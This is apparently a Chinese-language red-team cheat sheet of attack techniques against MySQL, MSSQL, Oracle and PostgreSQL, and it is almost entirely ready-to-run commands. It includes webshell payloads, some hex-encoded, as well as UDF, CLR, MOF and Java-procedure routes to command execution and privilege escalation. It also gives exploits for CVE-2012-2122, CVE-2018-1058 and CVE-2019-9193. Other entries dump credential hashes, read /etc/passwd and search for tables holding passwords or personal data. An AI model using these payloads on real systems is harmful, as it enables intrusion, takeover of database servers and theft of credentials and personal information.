红队攻击中数据库利用小记pentest database cheatsheet 2021-10-05 00:42:34 Steven Xeldax [TOC] > https://raw.githubusercontent.com/safe6Sec/PentestDB # Mysql利用姿势 ## Mysql GetShell ### into oufile 写 shell - 知道网站物理路径 - 高权限数据库用户(root) - secure_file_priv 无限制 - 网站路径有写入权限 查询是否 secure_file_priv 没有限制 ```sql mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ ``` | Value | 说明 | | :---- | :------------------------- | | NULL | 不允许导入或导出 | | /tmp | 只允许在 /tmp 目录导入导出 | | 空 | 不限制目录 | > 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 > > 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件 写shell ```sql select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php'; ``` ```sql select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A; ``` sqlmap写shell ```bash sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php" ``` sqlmap获取os-shell ```bash sqlmap -u "http://x.x.x.x/?id=x" --os-shell ``` tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。 ### 日志写shell - 知道网站物理路径 - 高权限数据库用户(root) - 网站路径有写入权限 ```bash mysql> SHOW VARIABLES LIKE '%general%'; +------------------+---------------------------------+ | Variable_name | Value | +------------------+---------------------------------+ | general_log | OFF | | general_log_file | /var/lib/mysql/c1595d3a029a.log | +------------------+---------------------------------+ ``` ```bash #开启日志记录 set global general_log = "ON"; set global general_log_file='/var/www/html/info.php'; #往日志里面写入 payload select '<?php phpinfo();?>'; ``` ### 慢日志写shell - 知道网站物理路径 - 高权限数据库用户(root) - 网站路径有写入权限 ```bash mysql> SHOW VARIABLES LIKE '%slow_query_log%'; +------------------+---------------------------------+ | Variable_name | Value | +------------------+---------------------------------+ | slow_query_log | OFF | | slow_query_log_file | /var/lib/mysql/c1595029a.log | +------------------+---------------------------------+ ``` ```bash #开启日志记录 set global slow_query_log = "ON"; set global slow_query_log_file='/var/www/html/info.php'; #往日志里面写入 payload select '<?php phpinfo();?>' or sleep(10) ``` ## Mysql 漏洞 ### yaSSL 缓冲区溢出 **Linux** : MySQL 5.0.45-Debian_1ubuntu3.1-log **Windows** : MySQL 5.0.45-community-nt ```bash msf6 > use exploit/windows/mysql/mysql_yassl_hello msf6 > use exploit/linux/mysql/mysql_yassl_hello ``` ### authbypass身份认证绕过 - MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. - MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. CVE-2012-2122 知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库: ```bash for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done ``` msf dump hash ```bash msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf6 > set rhosts 127.0.0.1 msf6 > run ``` ## Mysql提权 ### UDF提权 udf动态链接库文件获取 ```bash sqlmap/data/udf/mysql ``` sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码 ```bash # 查看当前目录情况 ➜ pwd /Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak # 解码 32 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so # 解码 64 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so # 解码 32 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll # 解码 64 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll ``` msf的可以直接使用 ```bash MSF 根目录/embedded/framework/data/exploits/mysql ``` tips:可用ida查看有哪些函数 该udf.dll导出的路径因MySQL版本不同而不同: - 如果`MySQL<5.1`,udf.dll动态链接文件需要导出的路径为: Windows2003:c:\windows\system32 Windows2000:c:\winnt\system32。 - 如果`MySQL>=5.1`,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录 获取plugin路径 ```sql mysql> show variables like '%plugin%'; +---------------+------------------------------+ | Variable_name | Value | +---------------+------------------------------+ | plugin_dir | /usr/local/mysql/lib/plugin/ | +---------------+------------------------------+ ``` 获取mysql版本,确定 udf位数 ``` show variables like "%version%"; ``` tips:windows系统如果目录不存在可以尝试使用NTFS流创建: ```sql select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION'; ``` ```sql # 获取so十六进制 SELECT hex(load_file('/lib_mysqludf_sys_64.so')); # 直接 SELECT 查询十六进制写入 SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; ``` 创建表写入 ```sql create table my_udf_data(data LONGBLOB); set @my_udf_a=concat('',dll的16进制); insert into my_udf_data values("");update my_udf_data set data = @my_udf_a; ``` 创建函数执行命令 ```sql CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select * from mysql.func; select sys_eval('whoami'); drop function sys_eval; ``` ### mof提权 老古董,不想写了 MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。 准备好mof文件,然后udf老套路导出即可 ``` pace("\.rootsubscription") instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` ## Other ``` select load_file('/var/lib/mysql-files/key.txt'); #Read file ``` 利用恶意mysql服务,读客户端文件 [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) 注意某些lnmp的探针 可用的udf hex https://www.sqlsec.com/tools/udf.html xx库中所有字段名带 pass|pwd 的表 ``` select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%" ``` sqlmap 参数–-search也可以 xx 库中所有字段名带个人信息的表 ``` select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名" ``` # Mssql利用姿势 ## Mssql GetShell ### 存储过程xp_cmdshell写shell - 拥有DBA权限 - 知道的网站绝对路径 xp_cmdshell不能调用,下面命令打开 在2005中xp_cmdshell的权限是system,2008中是network。 ```sql #开启xp_cmdshell exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1;` reconfigure; exec sp_configure 'show advanced options', 0; reconfigure; exec master..xp_cmdshell 'whoami' #能执行得到whoami的结果 ``` ```sql #关闭xp_cmdshell exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure;` exec sp_configure 'show advanced options', 0; reconfigure; exec master..xp_cmdshell 'whoami' #不能得到whoami的结果 ``` 写shell ``` exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp' ``` sqlmap ```cmd http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ; ``` ### 存储过程sp_oacreate写shell - 拥有DBA权限 - 知道的网站绝对路径 有do_owner权限的用户也可以。 判断当前是否为DBA权限,为1则可以提权 ```sql select is_srvrolemember('sysadmin'); ``` 利用存储过程写入一句话 ```sql declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' ``` 被删除可以使用这个来提权试试,恢复sp_oacreate ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; ``` ### 日志备份写shell - 拥有DBA权限 - 知道的网站绝对路径 LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式 ```sql alter database 库名 set RECOVERY FULL create table cmd (a image) backup log 库名 to disk = 'c:\' with init insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) backup log 库名 to disk = 'c:\xxxx\www\2.asp' ``` ### 差异备份写shell - 拥有DBA权限 - 知道的网站绝对路径 因为权限的问题,最好不要备份到盘符根目录 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。 ```sql backup database 库名 to disk = 'c:\bak.bak';-- create table [dbo].[test] ([cmd] [image]); insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E) backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;-- ``` ## Mssql 提权 ### 沙盒提权 - 拥有DBA权限 - sqlserver服务权限为system - 服务器拥有jet.oledb.4.0驱动 ```sql exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'; Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( whoami )'); ``` ### Ole automation procedures提权 - 拥有DBA权限 判断当前是否为DBA权限,为1则可以提权 ``` select is_srvrolemember('sysadmin'); ``` 开启Ole automation procedures ``` EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0; ``` 命令执行多种方式 - wscript.shell组件 ``` declare @luan int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@luan output exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; ``` - com组件 ``` declare @luan int,@exec int,@text int,@str varchar(8000) exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; ``` ### JobAgent提权 - 拥有DBA权限 - 需要sqlserver代理(sqlagent)开启 ------ 1. 尝试开启sqlagent ``` exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; ``` 1. 利用任务计划命令执行(无回显) ``` USE msdb; EXEC dbo.sp_add_job @job_name = N'testjob' EXEC sp_add_jobstep @job_name = N'testjob', @step_name = N'testjob', @subsystem = N'CMDEXEC', @command = N'whoami', @retry_attempts = 1, @retry_interval = 5 EXEC dbo.sp_add_jobserver @job_name = N'testjob' EXEC dbo.sp_start_job N'testjob'; ``` ### CLR提权 - 拥有DBA权限 1. 开启CLR ``` exec sp_configure 'show advanced options','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure 'show advanced options','1'; ``` 1. 导入CLR插件 ``` CREATE ASSEMBLY [MDATKit] AUTHORIZATION [dbo] FROM 0x16进制的dll WITH PERMISSION_SET = UNSAFE; [16进制的dll](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt) ``` 1. 创建CLR函数 ``` CREATE PROCEDURE [dbo].[kitmain] @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain] ``` 1. kitmain函数命令执行 ``` exec kitmain 'cmdexec',N'whoami' ``` ### xp_cmdshell 前面已经写了 ## Other tips: 08之前的系统还可以写启动项、粘贴键替换。 xp_dirtree ``` execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 execute master..xp_dirtree 'c:',1 --只列c:\目录 execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件 ``` xx 库中所有字段名带 pass|pwd 的表 ``` select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%') ``` xx 库中所有字段名带个人信息的表 ``` select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%') ``` # Oracle利用姿势 ## Oracle Getshell ### 创建java函数提权 - dba权限 ------ 1. 使用sqlplus连接 ``` system/system@192.168.117.66:1521/orcl ``` 2. 赋权 ``` begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end; / ``` 3. 创建java代码 ``` create or replace and compile java source named exe_linux as import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.UnknownHostException; public class Test { public static String list_cmd(String str){ Runtime runtime=Runtime.getRuntime(); StringBuffer enco = new StringBuffer(); enco.append("GBK"); try{ Process proc =runtime.exec(str); InputStream inp_suc=proc.getInputStream(); InputStream inp_err=proc.getErrorStream(); BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString())); BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString())); String strLine; while( (strLine=(bfr_suc.readLine())) != null){ System.out.println(strLine); } while( (strLine=(bfr_err.readLine())) != null){ System.out.println(strLine); } proc.destroy(); inp_suc.close(); inp_err.close(); }catch (Exception e) { System.out.println("EXECUTE IS ERROR!"); System.out.println(e.getMessage()); } return ""; } /* public static void main(String[] args){ list_cmd(args[0]); } **/ } / ``` 4. 创建存储过程 ``` create or replace procedure p_exe_linux(str varchar2) as language java name 'Test.list_cmd(java.lang.String)'; / ``` 5. 命令执行 ``` SET SERVEROUTPUT ON exec dbms_java.set_output(1111111111111); EXEC P_EXE_LINUX('whoami'); ``` # PostgreSQL利用姿势 ## PostgreSQL GetShell ### copy to写shell - 拥有网站路径写入权限 - 知道网站绝对路径 ``` copy (select '<?php phpinfo();?>') to '/tmp/1.php'; ``` ### lo_create写shell 利用分片进行上传,首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 / tmp 目录下, 收尾删除 OID ``` SELECT lo_create(12345); INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex')); INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex')); SELECT lo_export(12345, '/tmp/test.so'); SELECT lo_unlink(12345); ``` ## Postgresql 漏洞 ### CVE-2018-1058 - 版本9.3-10.0 PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户尤其是超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。 1、创建表并插入数据(evil权限执行): ``` CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents; ``` 2、定义函数(evil权限执行): ``` CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ ALTER ROLE evil SUPERUSER; SELECT pg_catalog.upper($1); $$ LANGUAGE SQL VOLATILE; ``` 3、查询时候使用upper函数(bobac权限执行) ``` SELECT upper(contents) FROM hehehehe; ``` 此时就执行了ALTER ROLE evil SUPERUSER;使evil的权限变成bobac的权限。 ### CVE-2019-9193 - 版本9.3-11.2 - 超级用户或者pg_read_server_files组中的任何用户 PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。 ``` DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; ``` ## Postgresql提权 udf调用本地so文件,或者自己上传so命令执行,一般8.2以下的版本可以 ``` CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT; CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT; select system('id'); ``` https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql ## Other 查询密码 ``` SELECT usename, passwd FROM pg_shadow; ``` PostgreSQL 读取文件 ``` select pg_read_file('/etc/passwd'); drop table testaaaa; create table testaaaa(t TEXT); copy testaaaa from '/etc/passwd'; select * from testaaaa limit 1 offset 0; ``` PostgreSQL 读取文件2 ``` Select lo_import('/etc/passwd',12345678); select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno ``` 列目录 ``` select pg_ls_dir('/etc'); ```